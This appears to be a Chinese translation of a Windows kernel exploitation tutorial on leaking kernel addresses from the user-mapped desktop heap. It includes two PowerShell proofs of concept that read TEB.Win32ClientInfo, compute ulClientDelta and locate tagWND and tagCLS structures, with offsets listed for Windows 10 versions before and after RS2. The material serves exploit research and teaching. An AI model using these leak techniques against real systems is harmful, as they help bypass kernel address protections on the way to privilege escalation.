返回介绍

Leak 1 => TEB.Win32ClientInfo

发布于 2025-01-03 23:32:57 字数 9814 浏览 0 评论 0 收藏 0

我们想做的第一件事就是去泄露 tagWND 和 tagCLS Window 结构体的内核地址。我们将以 Morten 的泄露手法开始,它提供了更好的背景去理解第二部分泄露。

下面的推文给予了我们所有的细节来从用户映射的桌面堆中泄露出地址,同时也告诉了我们如何去 t 通过用户模式版本计算出内核模式版本(ulClientDelta) 的偏移量。

看起来指向用户模式版本的指针被存在 TEB.Win32ClientInfo+0x28 的位置,而指向内核模式版本的指针存在该地址偏移 0x28 处的更远的地方。Client delta 即是内核地址减去用户地址。我们可以简单的把脚本编在一起来获取这个数据。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
  public IntPtr ExitStatus;
  public IntPtr TebBaseAddress;
  public IntPtr ClientId;
  public IntPtr AffinityMask;
  public IntPtr Priority;
  public IntPtr BasePriority;
}
 
public static class TEB
{
  [DllImport("ntdll.dll")]
  public static extern int NtQueryInformationThread(
    IntPtr hThread, 
    int ThreadInfoClass,
    ref _THREAD_BASIC_INFORMATION ThreadInfo,
    int ThreadInfoLength,
    ref int ReturnLength);
 
  [DllImport("kernel32.dll")]
  public static extern IntPtr GetCurrentThread();
}
"@
 
# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()
 
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
 
$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
 
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
 
echo "`n[+] _TEB.Win32ClientInfo:   $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:    $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:      $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap))`n"

运行 POC,给出如下输出。

我们可以简单的在 KD 中证实。

对桌面堆的分析超出了本文的范围,更多信息可以参考 here

扫描桌面堆

很好,下一步就是创建一个 Window 对象并扫描桌面堆来找到它。微软在 Windows 8 之后不再公开 tagWND&tagCLS 的符号了,所以我们只好在 Windows 7 上看看 。

如我们所见,tagWND 的 2 第一个 IntPtr 值是 Window 句柄(通过 CreateWindow/Ex 返回)。同时也注意到 tagWND->THRDESKHEAD->pSelf 是一个指向内核中 tagWND 的指针,我们实际上可以通过内核 tagWND 的地址减去用户 tagWND 的地址来计算出 ulClientDelta。最后一点需要注意的是 tagWND&tagCLS 结构体在 Windows 10 RS2 中有一些变化。通过简单的逆向我们找到了一些变更的相对偏移。

x64 Pre RS2 (15063)

  • Window handle => 0x0

  • pSelf => 0x20

  • pcls => 0x98

  • lpszMenuNameOffset => pcls + 0x88

x64 Post RS2 (15063)

  • Window handle => 0x0
  • pSelf => 0x20
  • pcls => 0xa8
  • lpszMenuNameOffset => pcls + 0x90

在桌面堆上找到一个 Window 相当的直接,从桌面堆的基地址开始我们可以读出 IntPtr 尺寸的值并将其与特定的 Window 句柄进行比较。一旦我们匹配上了句柄,就掌握了到 tagWND 结构体起始位置的偏移。更新 POC 并运行。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
  public IntPtr ExitStatus;
  public IntPtr TebBaseAddress;
  public IntPtr ClientId;
  public IntPtr AffinityMask;
  public IntPtr Priority;
  public IntPtr BasePriority;
}
 
public class DesktopHeapGDI
{   
  delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
 
  [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
  struct WNDCLASS
  {
    public uint style;
    public IntPtr lpfnWndProc;
    public int cbClsExtra;
    public int cbWndExtra;
    public IntPtr hInstance;
    public IntPtr hIcon;
    public IntPtr hCursor;
    public IntPtr hbrBackground;
    [MarshalAs(UnmanagedType.LPWStr)]
    public string lpszMenuName;
    [MarshalAs(UnmanagedType.LPWStr)]
    public string lpszClassName;
  }
   
  [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
  static extern System.UInt16 RegisterClassW(
    [System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
  );
 
  [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
  static extern IntPtr CreateWindowExW(
    UInt32 dwExStyle,
    [MarshalAs(UnmanagedType.LPWStr)]
    string lpClassName,
    [MarshalAs(UnmanagedType.LPWStr)]
    string lpWindowName,
    UInt32 dwStyle,
    Int32 x,
    Int32 y,
    Int32 nWidth,
    Int32 nHeight,
    IntPtr hWndParent,
    IntPtr hMenu,
    IntPtr hInstance,
    IntPtr lpParam
  );
 
  [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
  static extern System.IntPtr DefWindowProcW(
    IntPtr hWnd,
    uint msg,
    IntPtr wParam,
    IntPtr lParam
  );
 
  [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
  static extern bool DestroyWindow(
    IntPtr hWnd
  );
 
  [DllImport("ntdll.dll")]
  public static extern int NtQueryInformationThread(
    IntPtr hThread, 
    int ThreadInfoClass,
    ref _THREAD_BASIC_INFORMATION ThreadInfo,
    int ThreadInfoLength,
    ref int ReturnLength);
 
  [DllImport("kernel32.dll")]
  public static extern IntPtr GetCurrentThread();
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern void DebugBreak();
 
  private IntPtr m_hwnd;
  public IntPtr CustomWindow(string class_name, string menu_name)
  {
    m_wnd_proc_delegate = CustomWndProc;
 
    WNDCLASS wind_class = new WNDCLASS();
    wind_class.lpszClassName = class_name;
    wind_class.lpszMenuName = menu_name;
    wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
 
    UInt16 class_atom = RegisterClassW(ref wind_class);
    m_hwnd = CreateWindowExW(
      0,
      class_name,
      String.Empty,
      0,
      0,
      0,
      0,
      0,
      IntPtr.Zero,
      IntPtr.Zero,
      IntPtr.Zero,
      IntPtr.Zero
    );
    return m_hwnd;
  }
 
  private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
  {
    return DefWindowProcW(hWnd, msg, wParam, lParam);
  }
 
  private WndProc m_wnd_proc_delegate;
}
"@
 
 
#------------------[Create Window]
 
# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI
 
# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"
 
#------------------[Leak Desktop Heap]
 
# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()
 
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
 
$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
 
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap
 
echo "`n[+] _TEB.Win32ClientInfo:   $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:    $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:      $('{0:X16}' -f $ulClientDelta)"
 
#------------------[Parse User Desktop Heap]
 
echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
  $ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
  if ($ReadHandle -eq $Handle.ToInt64()) {
    echo "[!] w00t, found handle!"
    $UsertagWND = $TEB_UserKernelDesktopHeap + $i
    $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
    break
  }
}
 
echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
 
#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()

这种读操作没什么问题,我们立即得到了下面的反馈结果。注意到 PowerShell 提示符没有返回,这是因为我们需要在 script 退出前断下来。

在 KD 中用 dq/db 来看看我们成功计算出的所有相对偏移。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文